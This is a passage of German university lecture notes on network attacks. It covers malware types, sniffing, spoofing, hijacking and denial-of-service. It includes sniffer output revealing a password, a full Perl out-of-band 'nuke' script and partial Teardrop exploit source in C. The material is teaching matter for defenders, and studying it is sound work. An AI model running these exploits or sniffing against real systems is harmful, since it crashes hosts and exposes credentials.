leichte Bedienbarkeit. So haben beispielsweise Viren bei DOS- oder Windowsrechnern
leichtes Spiel, weil sie alle Programme auf der Platte befallen können.
Bei Systemen mit Zugriffsrechten für Dateien (Unix, Novell Netware, Windows NT und 2000
etc.) können sie meist nur die Programme eines Benutzers verseuchen.
Je nach System gibt es unterschiedliche Methoden ein System zu manipulieren:
- Trojanische Pferde sind Programme, die einerseits die gewünschte bzw.
'offizielle' Funktion ausführen, aber gleichzeitig vom Manipulateur
beabsichtigte Nebenwirkung ausführen.
- Würmer oder Wurmsegmente sind Programme, die sich selbständig
über ein Netz verbreiten und auf anderen Rechnern vervielfältigen
können.
- Viren sind Programme, die sich in andere Programme hineinkopieren (reproduzieren)
und zeit- oder ereignisgesteuert Schäden hervorrufen.
- Logische Bomben sind zusätzliche Programmfunktionen, die vom Programmierer
eingebaut werden. Sie treten erst zu einem bestimmten Ereignis zu Tage,
z. B. werden alle Daten zwei Jahre nach Entlassung des Programmierers gelöscht.
- Trap doors sind Programmfunktionen, die einen nicht autorisierten Zugang
zum System ermöglichen. Das muß nicht in böser Absicht geschehen,
auch Programmteile, die zur Fehlersuche dienten und dann in der Verkaufsversion
nicht entfernt wurden, oder Wartungsaccounts können zu trap doors werden.
- In Netzen gibt es dann noch Formen der Tarnung (z. B. Spoofing), bei der
ein Rechner vorspiegelt, ein anderer zu sein. In vielen Betriebssystemen
gibt es den Begriff des 'trusted host'. Vereinfacht gesagt sind dies Rechner,
denen gegenüber der eigene Rechner 'offen' ist. Tarnt sich ein fremder
Rechner als vertrauenswürdiger Host, wird das Eindringen erleichtert.
Auf einige der obengenannten Typen wird im Kapitel 7
noch näher eingegangen.
Neben diesen "von außen" kommenden Gefahren gibt es auch noch Probleme, die durch
das Betriebssystem selbst oder durch seine Administration hervorgerufen werden.
Dazu einige Beispiele:
- Dienste werden ohne weitere Überprüfung als vertrauensvoll anerkannt.
(R-Kommandos bei UNIX-Systemen, Excel- und Word-Applikationen im MS-Explorer, uvm.)
- Netzdienste besitzen oft Lücken, die "historisch" bedingt sind. So waren früher Netzwerkverbindungen sehr
störanfällig. Aus diesem Grund "vertrauen" Serverrechner anderen Servern
um bei Ausfall deren Dienste zu übernehmen. Die Gefahr liegt darin,
daß ein Server auch einem Hackerrechner vertraut und ihm seine Dienste zur
Verfügung stellt. Dazu zwei Beispiele:
(Unix-)Mailserver enthalten heute noch Funktionen um bei Ausfall eines anderen
Mailservers dessen Funktion übernehmen zu können. Das bedeutet:
Man kann einem Mailserver, von einem beliebigen Rechner aus, Post zur Zustellung
übergeben (Relay-Funktion). Im Adresskopf steht als Absender immer der Mailserver
der die Post abgesendet hat. Mögliche Attacke auf den Server: Ein Bösewicht
übergibt dem Server eine Mail mit zigtausenden Adressaten zur Weiterversendung
(Massen-Werbemails). Im Kopf der Mail steht als Absender der "unschuldige" Mailserver,
dessen Adminstrator den "Ärger" bekommt.
Auch DNS-Server (Die Übersetzungsrechner, die Namen wie www.xyz.de in
IP-Nummern verwandeln.) stufen alle anderen DNS-Server als vertrauenswürdig ein.
Damit ist "DNS-Spoofing" möglich (siehe später).
- Fehler und Sicherheitslücken im Betriebssystem und den Serverprogrammen.
Ein typischer Betriebssystemfehler, der ein Eindringen ermöglicht, ist
der Buffer-Overflow. Dabei passiert folgendes:
Einen weiteren Fall hat die Firma eEye
in Microsofts Internet Information Server (IIS) entdeckt. Es handelt sich um eine Sicherheitslücke die
es Angreifern erlaubt, beliebigen Code auf der betroffenen Maschine auszuführen.
Das eEye-Sicherheitsteam behauptet, daß 90 Prozent aller IIS-Installationen
im Internet verwundbar seien.
Das Problem tritt beim Umgang mit speziellen Dateien auf (.HTR, .STM und .IDC).
Angreifer können durch spezielle Anfragen einen internen Puffer zum _berlaufen
bringen und damit eigenen Code ausführen lassen. Es gibt im Internet bereits
mehrere Programme, mit denen sich dieser Fehler ausnutzen läßt.
Mit dem Programm isshack.exe das es am eEye Server zum Download gibt, kann
man die CMD-Shell auf einen beliebigen Port umleiten. Mittels Telnet kann man
dann ins System einbrechen. Allerdings kann aufgrund der zahlreichen grafischen
Administrationstools nicht so viel Schaden angerichtet werden wie auf Unix-Systemen.
Microsoft hat die Existenz des Bugs bestätigt und stellt einen Patch bereit.
- Lokale Services können ohne besondere Maßnahmen illegal genutzt werden.
(z. B. Dateifreigaben unter Windows, WWW-Verzeichnisansicht, DHCP im routerlosen Netz)
- Probleme mit Standarddiensten und Standard-Einstellungen
- Bei der Installation von Betriebssystemen werden oft Standarddienste
aktiviert. (z.B.: FTP-Server oder Apache-Webserver bei Linux)
- Oft werden installierte Dienste "vergessen" ("Ich installiere das Programm
mal und probiere es bei Gelegenheit aus".)
- Viele der sogenannten "netzwerkfähigen" Software-Produkte sind
nur für kleine, lokale Netze ausgelegt und nicht für große
Netze mit potentiellen Hackern. (Nicht selten wird Schreibrecht für
alle Benutzer auf ein bestimmtes Verzeichnis verlangt.)
- Viele Systeme besitzen Standardzugänge mit Standard-Passwörtern.
(Wartungs-Accounts, Gast-Accounts, Demo-User)
- Bei vielen Serverprogrammen ist nach der Installation keine
Sicherheitseinstellung aktiv: Alles ist erlaubt ("Offene Scheunentore").
2.7 Angriffe über das Netz
TCP/IP wurde vor etwa 20 Jahren entwickelt. Es ist ein ungesichertes Netzwerkprotokoll
und wurde ursprünglich zu akademischen Zwecken entworfen. Sicherheitsfragen waren
kaum Bestandteil der Entwurfskriterien. Fehlertoleranzeigenschaften kollidieren mit
Sicherheitsanforderungen.
Heute haben wir das Internet als weltweiter Rechnerverbund mit Millionen von
Benutzern. Häufig sind alle Rechner einer Organisation an das Netz angeschlossen,
auch die mit sensiblen Daten. Aus dem Netz gewonnene Informationen sind Grundlage
für Unternehmensentscheidungen und Firmen pflegen Gesch?sbeziehungen via Internet.
Für Benutzer und Administratoren von Netzwerken oder Einzelrechnern mit
Internetzugang wird es immer wichtiger, sich mit der Sicherheit ihrer
Rechner zu befassen. Die hier beschriebenen Sicherheitslücken und
Angriffsmethoden bilden die Grundlage der meisten Attacken in heutigen
TCP/IP-Netzwerken. Oft werden bei Angriffen mehrere der beschriebenen Methoden
kombiniert.
Typische Angriffe nach Statistiken des CERT
| Jahr | Angriffe |
| 1988 | - Passwörter
- bekannte Sicherheitslücken
|
| 1993 | - Protokollschwächen (rexd, tftpd)
- Analyse von Quelldateien
- ICMP-Angriffe
- AnonFTP-Mißbrauch
|
| 1994 | - Internet-Sniffer
- sendmail-Angriffe
- Trojaner für Systemprogramme
- groß angelegte Scans (z.B. Portnummern)
- NFS-Angriffe
|
| 1995 | - IP-Spoofing für r-Kommandos
- Angriffe auf WWW-Server (httpd)
|
| 1996 | - Denial-Of-Service-Angriffe (ECHO)
- Lücken in Java und in Webbrowsers
- DNS-Manipulationen
- Analyse von SUID-Programmen
|
| danach | - TCP-Hijacking
- Denial-Of-Service als Waffe
- Internet-Commerce-Angriffe
|
Überblick über die Schichten der TCP/IP-Netzwerkprotokolle:
Application Layer Schichten 5 - 7WWW, E-Mail, etc. |
Transport Layer Schicht 4TCP, UDP |
Network Layer Schicht 3IP |
Data Link Layer Schichten 1 - 2LLC, Hardwareinterface |
Diese Schichten entsprechen in etwa dem OSI-Schichtenmodell, wobei hier allerdings immer
mehrere Schichten des OSI-Modells zu einer Schicht zusammengefaßt wurden.
Im Folgenden sollen nun die Sicherheitslücken in den einzelnen Schichten des Protokolls
genauer betrachtet und die darauf basierenden Angriffsstrategien untersucht werden.
Security im Data Link und Network Layer
Sniffing
Wie schon weiter oben gezeigt, lassen sich Daten abhören.
Im lokalen Netz gelangen die Datenpakete an alle Rechner. Normalerweise werden Daten,
die nicht an einen bestimmmten Rechner adressiert sind, von diesem verworfen.
Genau an dieser Stelle setzen die Sniffing-Attacken an. Statt die fremden Daten
zu verwerfen, kann man diese Daten speichern und eventuell weiter verwenden. So ist es
z.B. möglich durch einen entsprechenden Filter eine komplette
Verbindung zu protokollieren. Auf diese Weise kann ein Angreifer auch an
Passwörter gelangen, wenn diese unverschlüsselt über
das Netzwerk übertragen werden.
Das gilt natürlich auch für IP-Verbindungen. Bei vielen Betriebssystemen
gehören entsprechende Programme zum Lieferumfang, da sie für den
Test und die Fehlersuche in Netzen notwendig sind (z. B. tcpdump). Da
auch die Paßworte beim Telnet- oder FTP-Login im Klartext weitergegeben
werden, besteht die Möglichkeit, daß jemand an diese Information kommt.
Zum "Erschnuppern" der Daten dienen Programme, die man "Sniffer" nennt. Eigenschaften:
- Abhören des Netzwerkverkehrs.
- Einsatz des "Promiscous-Mode" der Netzwerkkarten um alle Pakete zu empfangen.
- Meist Filterung bestimmter Adressen und Ports möglich.
- Speicherung der abgehörten Daten auf Platte oder Weiterverarbeitung
mit externen Filtern und Programmen möglich.
Sie dienen den "bad guys" zum
- Abhören aller unchiffrierten Verbindungen.
- Ausspähen von Passwörtern.
- Mitlesen der Post an einen bestimmten Rechner
Bekannte Vertreter sind "SniffIt", "Etherload", "Netman", "LinkView" oder "LANWatch".
Es folgen nun Beispiele für den Einsatz von Sniffern:
Abhören von Passwörtern
Im Beispiel loggt sich ein Benutzer mit dem Namen testuser und dem
Paßwort geheim ein.
$ ./sniffit -p 23 -A . -t lx1-lbs
........... ..!.."..'.....#..%....P......$.. .9600,9600....#.lx2-lbs:0.0....'..
PRINTER.lp.DISPLAY.lx2-lbs:0.0......XTERM........testuser..geheim..
Auch in diesem Fall verschafft Verschlüsselung Abhilfe.
Die gleiche Session, aber mit Einsatz der Secure Shell:
SSH-1.5-1.2.26.....................K2...i....i#..B......;....?.H..v.{v5K.^....{
.t5.4.I..]....6VH..uN.p..E.u.....j.U&.\..N~...%kI.,....q..s..V.....(m...2.u...!
rL/......R.d......'.....1"#.$[. ..6.W.........g.v.j..e%.1..2..v.....#.....*..r.
......0xM....1..q..O.....pS@.._=.......$...ZJ...N&x..[..........L.........k...v
4.......v...}...fXI...Np7.....=$...%.s...iW".....$ID..g..i.
Mitlesen der Mail
Im folgenden Beispiel wird der komplette Mailverkehr eines Rechners (Port 25)
namens lx1-lbs abgehört. Das ist von jedem beliebigen Rechner
möglich, an dem der Datenstrom vorbeiläuft.
$ ./sniffit -p25 -t lx1-lbs
EHLO lx2-lbs.e-technik.fh-muenchen.de
MAIL From:<holzmann@lx3-lbs.e-technik.fh-muenchen.de> SIZE=299
RCPT To:<testuser@lx1-lbs.e-technik.fh-muenchen.de>
DATA
Received: from localhost (localhost [[UNIX: localhost]])
by lx2-lbs.e-technik.fh-muenchen.de (8.9.3/8.9.3) id OAA01804
for testuser@lx1-lbs.e-technik.fh-muenchen.de; Fri, 8 Oct 1999 14:11:12 +0200
From: Joerg Holzmann <holzmann@e-technik.fh-muenchen.de>
To: testuser@lx1-lbs.e-technik.fh-muenchen.de
Subject: Testmail
Date: Fri, 8 Oct 1999 14:07:04 +0200
X-Mailer: KMail [version 1.0.21]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <99100814111100.01802@lx2-lbs>
Content-Transfer-Encoding: 8bit
Hallo lieber Testuser,
Vielen Dank fuer Ihren Beitrag zu unserem Sicherheitsforum.
Wir werden Ihren Artikel in der neuen Ausgabe der FHM-Hackerpost
veroeffentlichen.
Abhilfe schaffen hier beispielsweise kryptographische Verfahren und Methoden.
ARP-Spoofing
Das ARP-Spoofing setzt auf dem ARP-Protokoll (ARP=Address-Resolution-Protocoll)
auf und nutzt dabei aus, daß beim dynamischen Routing die Umsetzungstabellen
von IP-Adressen auf die entsprechenden Hardwareadressen in bestimmten Abständen
aktualisiert werden. Dynamische ARP Routen werden regelmäßig
(nach einem bestimmten Zeitintervall) verworfen und der Rechner fordert von
seinem Kommunikationspartner eine Bestätigung seiner IP- und Hardwareadresse
an. An genau dieser Stelle setzt nun ein Angreifer an. In der Regel wird nun der
Rechner, dessen Platz der Angreifer einnehmen will ausgeschaltet (dies kann z. B.
durch einen der später beschriebenen "Denial-of-Service" Angriff geschehen),
so daß er keine Anfragen mehr beantworten kann.
Anschließend wird auf einen ARP request des "Opfers" gewartet.
Da der eigentlich angesprochene Rechner keine Antwort senden kann, ist es dem
Angreifer nun möglich einen gefälschten ARP reply an das "Opfer" zu schicken.
Dieser trägt die falsche Adresse in seine ARP-Queue ein und verschickt alle
folgenden Nachrichten statt an den eigentlichen Zielrechner an den
Rechner des Angreifers.
Security im Transport- und Network-Layer
ICMP-Tunneling
Alle ICMP-Messages besitzen ein Datenfeld, dessen Bedeutung nicht festgelegt
ist und das im Normalfall nicht benutzt wird. Damit bietet sich die Möglichkeit
Informationen über ICMP-Messages zu verschicken, falls kein anderer Dienst
dafür zur Verfügung steht. Es ist damit also möglich, Nachrichten
aus einem Netzwerk, das z.B. hinter einem Firewall steht, "herauszuschmuggeln".
Eine besondere Gefahr stellt das ICMP-Tunneling dar, weil ICMP oft als harmlos
eingestuft wird und Firewalls die Pakete ungefiltert passieren lassen.
ICMP-Steuernachrichten lassen sich auch noch für andere Angriffe nutzen:
- Funktionsfähigkeit des Netzwerks beeinträchtigen ("ping of death")
- Vermittlungspfade verändern
- "fragmentation needed": Aufforderung, Daten stärker zu fragmentieren,
dadurch entstehen kleinere und vor allem mehr Pakete. Die Netzlast nimmt z.T.
erheblich zu, und es kann zu Überlast kommen
- "ICMP-redirect": Änderung von Vermittlungswegen von Rechnern im Netz,
was zu Zusammenbrüchen im Netz führen kann
IP-Spoofing
Beim IP Spoofing wird die ungenügende Überprüfung des
Kommunikationspartners unter TCP/IP ausgenutzt, um mit gefälschten
IP-Adressen einem Rechner Informationen unterzuschieben. Oft werden diese
Attacken benutzt, um falsche Routing-Informationen an ein System
weiterzugeben. Aber auch bei einzelnen Verbindungen kann das Fälschen
von IP-Adressen Anwendung finden, wie dies im nächsten Abschnitt
beim Hijacking der Fall ist. Es sollen nun einige
Möglichkeiten besprochen werden, die sich durch das IP Spoofing
ergeben. Eine komplette Aufführung ist an dieser Stelle nicht
möglich, da diese Gruppe von Security Attacks sehr umfangreich
ist.
In einem LAN kommuniziert Arbeitsplatz A mit Arbeitsplatz B.
Ein Angreifer (E) verwendet die Adresse von A und schleust Pakete ins LAN.
Damit übernimmt er die Kommunikation E zu B.
Das Problem sind die fehlende Authentizität von IP-Paketen und
die Einschleusung zusätzlicher Pakete von außen durch
die Fälschung von IP-Sendeadressen.
Route-Spoofing
Dabei werden falsche Routing-Informationen an Router weitergegeben, um eine
Umleitung von Verbindungen auf den Agriffsrechner zu erreichen. Es
existieren mehrere Ansatzmöglichkeiten, um eine solche Attacke
durchzuführen. Im folgenden werden zwei dieser Möglichkeiten
genauer beschrieben.
- RIP-Route-Spoofing
Das Routing Information Protocol (RIP) wird verwendet, um (dynamische)
Routing-Informationen in lokalen Netzwerken zu verbreiten. Es bietet damit
aber einem Angreifer die Möglichkeit falsche Routing-Information
an einen Rechner (und alle Gateways auf der Route dorthin) zu
versenden. Diese Informationen werden in der Regel ungeprüft
übernommen. Damit ist es dem Angreifer möglich, einem Rechner
falsche Routing-Informationen zu übergeben und so die Verbindungen
auf den Rechner des Angreifers umzuleiten.
- ICMP-Route-Spoofing
Bei dieser Art des Angriffs wird ausgenutzt, über die Meldung
ICMP redirect Routing-Informationen an den Absender eines IP-Pakets
zu übermitteln. Ein Angreifer kann dies nutzen, das Routing auf seinem eigenen
Rechner umzuleiten. Verwendet ein Rechner eine solche Nachricht als neue
Routing-Information, so führt dies dazu, daß seine Informationen über
den Rechner des Angreifers geroutet werden.
DNS Spoofing
Die im Internet übliche Umsetzung von Hostnamen in IP-Adressen über das
Domain Name System (DNS) bietet eine weitere Möglichkeit falsche IP-Adressen an
einen Rechner weiterzugeben. Damit ist beispielsweise folgende Attacke möglich:
Die falsche Nachricht, daß www.microsoft.com die Adresse
129.187.244.3 hat, wird vom Opfer-DNS ohne jegliche Prüfung
übernommen. Es bieten sich weitere Möglichkeiten an:
- Übernahme des DNS-Servers
Eine Möglichkeit hierbei ist es, die Position eines existierenden Nameservers
komplett zu übernehmen. Dabei finden in der Regel "Denial Of Service"-Angriffe
Anwendung, um den richtigen Nameserver lahmzulegen. Der Angreifer übernimmt dann die
Funktion dieses Rechners und liefert falsche Informationen.
- Resolve Attacks
In einigen Implementierungen ist es möglich, wenn ein Benutzer eine Verbindung
zu einem System aufbaut, eine Domain Server Response an den entsprechenden
Rechner zu senden. Dieser trägt sie in seine eigene Queue ein und
benutzt so im folgenden die falsche IP-Adresse für seine Verbindung.
Für diese Art des Angriffs sind allerdings Kenntnisse über den Port, den der
Client für seinen Resolver Service benutzt, und die DNS-Sequenznummer (ISN)
nötig. Diese sind aber oft leicht zu erhalten, z. B. über netstat.
Diese Art des Angriffs wird zum Beispiel verwendet, um Hompages zu "entführen".
Dabei wird meist nur ein Eintrag im DNS "gefälscht", wodurch alle Benutzer,
die den Hostnamen statt dessen IP-Adresse verwenden, auf einen falschen Server
geführt werden.
Hijacking
Hijacking stellt eine Kombination der Sniffing- und Spoofing-Angriffe dar.
Dabei werden bestehende Verbindungen zwischen zwei Rechnern "entführt",
d. h. der Angreifer übernimmt die Stelle eines der Kommunikationspartner.
Da bei einer solchen Übernahme keine Authentifizierung des Benutzers mehr
durchgeführt wird, kann ein Angreifer großen Schaden anrichten.
TCP-Hijacking
Bei der Kommunikation vom Arbeitsplatz (A) mit dem Server (S) hört
der Angreifer (E) mit, schaltet sich mit der Adresse von A ein und
übernimmt die Sitzung von A.
Das Problem ist die fehlende Authentizität und Integrität der
IP-Pakete.
Beispiel: TELNET-Sitzung
Denial of Service-Attacks
Diese Gruppe von Angriffsstrategien dient dem Lahmlegen eines Rechners oder
einzelner Funktionen ("Denial of Service": "Verweigerung des Dienstes").
Dabei wird in der Regel ausgenutzt, daß die
Resourcen (Speicher, Rechenzeit, interne Tabellen, etc.) auf einem Rechner
nur in begrenztem Maße vorhanden sind. Ein Denial-of-Service-Angriff
versucht, auf dem angegriffenen Rechner eine der Resourcen zu überlasten,
so daß dieser seinen regulären Aufgaben nicht mehr nachkommen und
seine Clients nicht mehr bedienen kann. Denial-of-Service Attacks
stellen eine wichtige Gruppe von Angriffen dar, da sie oft als
Vorstufe zu einem wesentlich weiterreichenden Angriff dienen.
Für Spoofing-basierten Angriffe kann es unter Umständen von Nutzen sein,
wenn ein bestimmter Rechner im Netz ausgefallen ist.
Eines haben fast alle Attacken gemein: Sie nutzen die Löcher von
fehlerhaft implementierten TCP/IP-Software und schlecht administrierten
Netzwerken aus.
- E-Mail-Bomben
Einer der ältesten Denial of Service-Attacks ist das inzwischen
"klassische" Mail-Bombing. Hierzu wird ein Empfänger mit einer
Vielzahl von gleichlautenden E-Mails regelrecht bombadiert, so daß das
nächste Herunterladen der vorhandenen E-Mails zur Qual werden
dürfte. Die Ausführung erzeugt aber noch ein anderes Opfer:
Eine Mailbombe besteht normalerweise aus einer einzigen E-Mail, die an einen
SMTP-Mailserver zur Ausführung geschickt wird. Diese E-Mail hat jedoch
die Besonderheit, daß sie die E-Mail-Adresse des Opfers gleich mehrmals
als BCC-Empfänger enthält. Der ausführende Mailserver hat
bei entsprechend hoher Angabe von BCC-Empfängern ebenfalls entsprechend
genug zu tun, diese E-Mails zu generieren und zu versenden.
Eine sehr unangenehme Variante des Mail-Bombings ist die Anmeldung eines
Opfers bei Unmengen von Mailinglisten. Das Opfer muß sich nämlich
nach so einer Attacke mühsam aus allen angemeldeten Listen manuell
wieder austragen.
- Broadcast Storms
Broadcast Storms gehören ebenfalls schon zur älteren Generation
von Denial of Service-Attacks. An jeden Rechner wird hier ein Strom von
IP-Paketen geschickt, die allesamt an nichtexistierende Ziele adressiert
sind. Wird dieser Datenstrom für mehrere Rechner innerhalb dieses
Netzwerkes aufrechterhalten, ist das gesamte Netzwerk recht bald lahmgelegt,
da die Rechner die falsch adressierten Daten über die Gateways immer
wieder in andere Subnetze verschieben.
- Smurf-Attacken
Smurf-Attacken gehören zur Gruppe der Broadcast Storms, arbeiten aber
auf eine etwas andere Weise. Bei einem Smurf-Angriff sendet der Angreifer
extrem viele ICMP-Pakete (z.B. Ping-Anfragen) an die Broadcast-Adresse
eines Netzwerks, so daß dieses Paket an jeden Rechner innerhalb des
Netzwerks weitergeleitet wird. Der Angreifer tarnt sich jedoch mit der
Adresse des eigentlichen Opfers. Die ICMP-Anfragen werden nun um die
Anzahl der Rechner im Netzwerk vervielfacht, denn jeder beantwortet die
ICMP-Anfrage. Die multiplizierten ICMP-Antworten an das Opfer
belegen die gesamte Netzkapazität und normale Datenkommunikation
wird unterbunden. Sehr häufig brechen auch die Server unter diesem
Ansturm zusammen und müssen von ihren Administratoren vorübergehend
vom Netz genommen werden.
Die Angreifer selbst sind nur sehr schwer zu identifizieren, da sie sich
als das Opfer tarnen.
- Out of Band-Packets ("Nukes")
Nahezu schon legendäre Denial of Service-Attacks sind die sogenannten
"Nukes". Hierzu werden spezielle IP-Pakete, die ein besonderes Merkmal haben,
an einen Rechner geschickt. Entsprechend ungesicherte Betriebssysteme
(ungepatchte Versionen von Windows und Linux) quittieren den Empfang
solcher Pakete mit dem völligen Systemstillstand. Inzwischen existieren
für (fast) alle betroffenen Betriebssysteme geeignete Patches, die
diesen Fehler eliminieren. Wie einfach das "nuken" war, zeigt folgendes
Perl-Programm:
#!/usr/bin/perl -w
use strict;
use Socket;
use Net::Ping;
require 5.004;
my $host = shift;
my $paddr = sockaddr_in(139, inet_aton($host));
print "Der Computer $host wird heruntergefahren...\n";
socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
print "Klappt nicht: $!\n", return;
connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
close(NUKE);
if ($>)
{
print <<"MSG_END";
OOB-Angriff erfolgreich. Da das Programm nicht mir root-Rechten
laeuft, bitte mit ping(8) testen, ob $host noch läuft.
MSG_END
}
else
{
sleep 3;
my $ping = new Net::Ping('icmp');
if ($ping->ping($host))
{
warn "Hmm... $host scheint noch zu laufen.\n";
}
else
{
print "Ich konnte den Computer jetzt ausschalten.\n"
}
}
Out of Band-Packets bestehen aus einem speziellen UDP-Paket, daß
gewöhnlich an den Port 139 (NetBIOS-Port) gesendet wird, da
dieser standardmässig bei vielen Computern geöffnet ist.
Prinzipiell funktioniert es aber auch mit allen anderen Ports, die
für Datenempfang standardmässig geöffnet sind. Die
Wirkungsweise liegt nun darin, daß ein entsprechend ungesichertes
Betriebssystem mit Out of Band-Informationen nichts anfangen kann und
in einer "panikartigen" Reaktion im ungünstigsten Fall die
aktuelle Sitzung mit einem Systemabsturz beendet.
- TCP Syn Flooding ("Land Attacks")
Hier wird das Drei-Wege-Handshaking von TCP benutzt, um "halboffene Verbindungen"
herzustellen. Da TCP ein verbindungsorientiertes Übertragungsprotokoll ist,
gibt es Mechanismen, um eine Verbindung zu synchronisieren. Dies wird über
das erwähnte Drei-Wege-Handshaking von TCP erledigt.
Dabei gibt es, wie der Name schon ahnen läßt, drei Schritte,
die durchgeführt werden:
- Der Client sendet eine Synchronisationsnachricht (SYN) an den Server
- Der Server antwortet mit einem entsprechenden Acknoledgement (ACK/SYN)
- Darauf sendet der Client sein Acknoledgement (ACK) an den Server
Mit diesen drei Schritten ist das Handshaking abgeschlossen. Nach Schritt 2
befindet sich auf dem Server ein Eintrag für die Verbindung, der bestehen
bleiben muß, bis der Client seine Antwort gesendet hat. Eine Verbindung
in diesem Stadium nennt man halboffen. Ein SYN-Attack nutzt nun die
Tatsache aus, daß der Server dafür Speicher reservieren muß,
bis er eine Antwort erhält. Wird diese Antwort allerdings nie gesendet,
dann bleibt der Speicher dauerhaft belegt. Erzeugt ein Angreifer eine größere
Menge dieser halboffenen Verbindungen, so ist abzusehen, daß der Server
bald an seinem Speicherlimit angekommen ist. An dieser Stelle ist es dem Server nun
nicht mehr möglich eine weitere TCP-Verbindung aufzubauen.
Das interessante an der "Land"-Attacke war, daß auch Cisco-Router, die an sehr
vielen zentralen Stellen des Netzes stehen, davon betroffen waren.
- Large Packet-Attacks ("Ping of Death")
Ein weiterer, besonders hinterhältiger Veteran der Denial of
Service-Attacks sind die "Large Packet-Attacks", unter Insidern
"Ping of Death" genannt (obwohl die Attacke nichts mit dem eigentlichen
Ping-Programm zu tun hat). Die Wirkungsweise von Large Packet-Attacks ist
einfach und fatal: Das IP-Protokoll verpackt alle Daten beim Absender in
bis zu 64 KByte grosse Pakete. Diese werden jedoch protokollintern vor
der Übertragung abhängig vom Übertragungsmedium in kleinere
Päckchen zerlegt (Fragmentierung). Beim Empfängerrechner werden
diese einzelnen Päckchen wieder zusammengefügt (reassemblieren),
allerdings erst, wenn alle Einzelteile vorliegen. Ist das ankommende Paket
am Ende grösser als 64 kB, läuft ein interner Speicherpuffer
über und bringt im ungünstigsten Fall den Rechner zum Absturz.
Natürlich kann man diesen Angriff nicht nur mit ICMP und Ping machen,
sondern auch mit TCP und UDP. Der Phantasie sind keine Grenzen gesetzt.
Wie erzeugt man nun diese übergroßen Ping-Pakete? Ein ordentlicher Ping
Befehl sollte keine Pakete größer als 65507 Bytes zulassen. (65535 - 20
IP-Header - 8 ICMP-Header). Wo fand man am ehesten einen unordentlichen
Ping-Befehl? Richtig, in den Betriebsystemen der Firma Microsoft (Windows 95/98).
- Teardrop
Teardrop ist dem Ping of Death nicht unähnlich, da es sich auch die
Fragmentierung von IP-Paketen zu nutze machte. Diesmal wird allerdings
nicht mittels Fragmentierung ein zu großes Paket erzeugt, sondern die
Fragmente werden so erzeugt, daß sie "überlappen", was die TCP-Software
aus dem Tritt bringt. Nachdem heute kaum noch ein Rechner auf Teardrop
reagiert, kann auch ruhig mal das Programmlisting gezeigt werden:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an
* implementation independent way of assembling network packets
* that does not rely on any of the diverse O/S specific
* nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
